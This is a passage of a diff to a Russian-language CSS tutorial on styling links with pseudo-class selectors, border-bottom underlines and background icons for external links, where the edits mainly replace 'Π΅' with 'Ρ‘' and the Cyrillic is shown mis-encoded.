+ <li>Π’Ρ€Π΅Ρ‚ΡŒΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ сСлСктор <code>a</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π°Π²ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ подчёркивания тСкста ΠΈ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π° фокуса ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ всС Ρ€Π°Π²Π½ΠΎ Π²Π°Ρ€ΡŒΠΈΡ€ΡƒΡŽΡ‚ Π² зависимости ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°), Π° Ρ‚Π°ΠΊΠΆΠ΅ добавляСт ΠΌΠ°Π»ΠΎΠ΅ количСство padding ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ссылкС β€” всС это станСт ясно ΠΏΠΎΠ·ΠΆΠ΅.</li>
+ <li>Π”Π°Π»Π΅Π΅, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ сСлСкторы <code>a:link</code> ΠΈ <code>a:visited</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Ρƒ Ρ†Π²Π΅Ρ‚ΠΎΠ²Ρ‹Ρ… Π²Π°Ρ€ΠΈΠ°Ρ†ΠΈΠΉ Π½Π΅ посСщённых ΠΈ посСщённых ссылок, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ± ΠΎΠ½ΠΈ ΠΎΡ‚Π»ΠΈΡ‡Π°Π»ΠΈΡΡŒ.</li>
+ <li>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π° ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ <code>a:focus</code> ΠΈ <code>a:hover</code> Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‚ сфокусированныС ΠΈ Π½Π°Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ (hovered) ссылки Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΠΈΠΌΠ΅Π»ΠΈ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π°, плюс Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ссылка Π²Ρ‹Π΄Π΅Π»ΡΠ»Π°ΡΡŒ Π΅Ρ‰Ρ‘ большС. Π”Π²Π° ΠΏΡƒΠ½ΠΊΡ‚Π° Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Π΄ΠΎ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:
<ul>
- <li>НиТнСС ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ создано ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{cssxref("border-bottom")}}, Π° Π½Π΅ {{cssxref("text-decoration")}} β€” Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ люди ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°ΡŽΡ‚ это ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠΈΠ΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ стилизации, Ρ‡Π΅ΠΌ Π²Ρ‚ΠΎΡ€ΠΎΠΉ, ΠΈ отрисован Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ΅, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π½Π΅ срСзаСт Π½ΠΈΠΆΠ½ΠΈΠ΅ элСмСнты слов Π±ΡƒΠ΄ΡƒΡ‡ΠΈ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ хвосты Ρƒ Π±ΡƒΠΊΠ² ΠΊΠ°ΠΊ "Ρ€" ΠΈ "Ρƒ").</li>
- <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{cssxref("border-bottom")}} установлСно Π½Π° <code>1px solid</code>, Π±Π΅Π· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°. Π­Ρ‚ΠΎ позволяСт Π³Ρ€Π°Π½ΠΈΡ†Π°ΠΌ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ†Π²Π΅Ρ‚ Ρ‡Ρ‚ΠΎ ΠΈ элСмСнты тСкста, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² случаС ΠΊΠ°ΠΊ этом, Π³Π΄Π΅ тСкст ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π° Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС.</li>
+ <li>НиТнСС ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ создано ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{cssxref("border-bottom")}}, Π° Π½Π΅ {{cssxref("text-decoration")}} β€” Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ люди ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°ΡŽΡ‚ это ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠΈΠ΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ стилизации, Ρ‡Π΅ΠΌ Π²Ρ‚ΠΎΡ€ΠΎΠΉ, ΠΈ отрисован Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ΅, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π½Π΅ срСзаСт Π½ΠΈΠΆΠ½ΠΈΠ΅ элСмСнты слов Π±ΡƒΠ΄ΡƒΡ‡ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΌΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ хвосты Ρƒ Π±ΡƒΠΊΠ² ΠΊΠ°ΠΊ "Ρ€" ΠΈ "Ρƒ").</li>
+ <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{cssxref("border-bottom")}} установлСно Π½Π° <code>1px solid</code>, Π±Π΅Π· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°. Π­Ρ‚ΠΎ позволяСт Π³Ρ€Π°Π½ΠΈΡ†Π°ΠΌ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ†Π²Π΅Ρ‚ Ρ‡Ρ‚ΠΎ ΠΈ элСмСнты тСкста, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² случаС ΠΊΠ°ΠΊ этом, Π³Π΄Π΅ тСкст ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π° Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС.</li>
</ul>
</li>
<li>НаконСц, <code>a:active</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ ссылкам ΠΈΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΡƒΡŽ схСму Π² Ρ‚ΠΎ врСмя ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Π»ΠΎ ясно Ρ‡Ρ‚ΠΎ происходит Ρ‡Ρ‚ΠΎ Ρ‚ΠΎ Π²Π°ΠΆΠ½ΠΎΠ΅!</li>
@@ -184,7 +184,7 @@ Firefox&lt;/a&gt;, &lt;a href="https://www.google.com/chrome/index.html"&gt;Goog
<h3 id="АктивноС_ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅_Π‘Ρ‚ΠΈΠ»ΠΈΠ·ΡƒΠΉΡ‚Π΅_ссылки_ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ">АктивноС ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅: Π‘Ρ‚ΠΈΠ»ΠΈΠ·ΡƒΠΉΡ‚Π΅ ссылки ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ</h3>
-<p>Π’ этой сСкции Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ изучСния, ΠΌΡ‹ Π±Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ взяли наш Π½Π°Π±ΠΎΡ€ пустых ΠΏΡ€Π°Π²ΠΈΠ» ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ваши собствСнныС объявлСния Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ссылки выглядСли Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΡ€ΡƒΡ‚ΠΎ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ своС Π²ΠΎΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π½Π΅ ΡΠΊΠΎΠ²Ρ‹Π²Π°ΠΉΡ‚Π΅ΡΡŒ. ΠœΡ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΊΡ€ΡƒΡ‚ΠΎΠ΅ ΠΈ всС Π΅Ρ‰Π΅ Ρ‚Π°ΠΊ ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅, ΠΊΠ°ΠΊ ΠΈ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅.</p>
+<p>Π’ этой сСкции Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ изучСния, ΠΌΡ‹ Π±Ρ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ взяли наш Π½Π°Π±ΠΎΡ€ пустых ΠΏΡ€Π°Π²ΠΈΠ» ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ ваши собствСнныС объявлСния Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ссылки выглядСли Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΡ€ΡƒΡ‚ΠΎ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ своё Π²ΠΎΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π½Π΅ ΡΠΊΠΎΠ²Ρ‹Π²Π°ΠΉΡ‚Π΅ΡΡŒ. ΠœΡ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΊΡ€ΡƒΡ‚ΠΎΠ΅ ΠΈ всС Π΅Ρ‰Ρ‘ Ρ‚Π°ΠΊ ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅, ΠΊΠ°ΠΊ ΠΈ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Ρ‹ΡˆΠ΅.</p>
<p>Если Π²Ρ‹ допуститС ΠΎΡˆΠΈΠ±ΠΊΡƒ, Π²Ρ‹ всСгда ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ сброс ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ½ΠΎΠΏΠΊΡƒ <em>Reset</em>. Если Π²Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ застряли Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ <em>Show solution</em> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΏΠΎΠΊΠ°Π·Π°Π»ΠΈ Π²Ρ‹ΡˆΠ΅.</p>
@@ -320,25 +320,25 @@ a[href*="http"] {
<p>{{ EmbedLiveSample('Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_ΠΈΠΊΠΎΠ½ΠΎΠΊ_Π²_ссылки', '100%', 150) }}</p>
-<p>Π˜Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΆΠ΅ Ρ‚ΡƒΡ‚ происходит? ΠœΡ‹ пропустим Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ CSS Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это Ρ‚Π° ΠΆΠ΅ информация, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ рассматривали Ρ€Π°Π½Π΅Π΅. Однако, послСднСС ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ интСрСсноС β€” Ρ‚ΡƒΡ‚ ΠΌΡ‹ вставляСм ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΎ внСшнюю ссылку схоТим способом ΠΊΠ°ΠΊ ΠΌΡ‹ Π΄Π΅Π»Π°Π»ΠΈ <a href="/en-US/Learn/CSS/Styling_text/Styling_lists#Using_a_custom_bullet_image">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Ρ‹ для ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² списка</a> Π² послСднСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ β€” Π² этот Ρ€Π°Π·, ΠΎΠ΄Π½Π°ΠΊΠΎ, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΡƒΡŽ запись {{cssxref("background")}} вмСсто ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… свойств. ΠœΡ‹ Π·Π°Π΄Π°Π΅ΠΌ ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ…ΠΎΡ‚ΠΈΠΌ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ, устанавливаСм <code>no-repeat</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ копию вставлСнного ΠΈ Π·Π°Ρ‚Π΅ΠΌ устанавливаСм ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ Π½Π° 100% Π΄ΠΎ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ края изобраТСния ΠΈ 0 пиксСлСй ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ края.</p>
+<p>Π˜Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΆΠ΅ Ρ‚ΡƒΡ‚ происходит? ΠœΡ‹ пропустим Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ CSS Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это Ρ‚Π° ΠΆΠ΅ информация, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ рассматривали Ρ€Π°Π½Π΅Π΅. Однако, послСднСС ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ интСрСсноС β€” Ρ‚ΡƒΡ‚ ΠΌΡ‹ вставляСм ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΎ внСшнюю ссылку схоТим способом ΠΊΠ°ΠΊ ΠΌΡ‹ Π΄Π΅Π»Π°Π»ΠΈ <a href="/en-US/Learn/CSS/Styling_text/Styling_lists#Using_a_custom_bullet_image">ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Ρ‹ для ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² списка</a> Π² послСднСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ β€” Π² этот Ρ€Π°Π·, ΠΎΠ΄Π½Π°ΠΊΠΎ, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΡƒΡŽ запись {{cssxref("background")}} вмСсто ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… свойств. ΠœΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ…ΠΎΡ‚ΠΈΠΌ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ, устанавливаСм <code>no-repeat</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ копию вставлСнного ΠΈ Π·Π°Ρ‚Π΅ΠΌ устанавливаСм ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ Π½Π° 100% Π΄ΠΎ ΠΏΡ€Π°Π²ΠΎΠ³ΠΎ края изобраТСния ΠΈ 0 пиксСлСй ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ края.</p>
-<p>Π’Π°ΠΊΠΆΠ΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ {{cssxref("background-size")}} для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±Ρ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Π»ΠΎ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ β€” ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΈΠΊΠΎΠ½ΠΊΡƒ большСго Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΈ Π΄Π°Π»Π΅Π΅ ΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π½ΡƒΠΆΠ½ΠΎ для Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ (ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ³ΠΎ) Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π°. Однако это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² IE9 ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… вСрсиях Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ, Ссли Π²Π°ΠΌ Π½ΡƒΠΆΠ½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Ρ‚Π΅Ρ… старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π²Π°ΠΌ просто придСтся ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния ΠΈ Π²ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ.</p>
+<p>Π’Π°ΠΊΠΆΠ΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ {{cssxref("background-size")}} для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±Ρ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Π»ΠΎ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ β€” ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΈΠΊΠΎΠ½ΠΊΡƒ большСго Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΈ Π΄Π°Π»Π΅Π΅ ΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π½ΡƒΠΆΠ½ΠΎ для Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ (ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ³ΠΎ) Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π°. Однако это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² IE9 ΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… вСрсиях Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ, Ссли Π²Π°ΠΌ Π½ΡƒΠΆΠ½Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Ρ‚Π΅Ρ… старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π²Π°ΠΌ просто придётся ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ изобраТСния ΠΈ Π²ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ.</p>
-<p>НаконСц, ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ {{cssxref("padding-right")}} для ссылки Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ пространство Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ появляСтся Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ Π½Π΅ Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°Π»ΠΈ Π΅Π³ΠΎ Π½Π° тСкст.</p>
+<p>НаконСц, ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ {{cssxref("padding-right")}} для ссылки Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ пространство Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ появляСтся Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ Π½Π΅ Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°Π»ΠΈ Π΅Π³ΠΎ Π½Π° тСкст.</p>
<p>И послСднСС слово β€” ΠΊΠ°ΠΊ ΠΌΡ‹ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ внСшниС ссылки? Ну, Ссли Π²Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ свои <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">HTML ссылки</a> ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹Π΅ URL для Π²Π½Π΅ΡˆΠ½ΠΈΡ… ссылок β€” 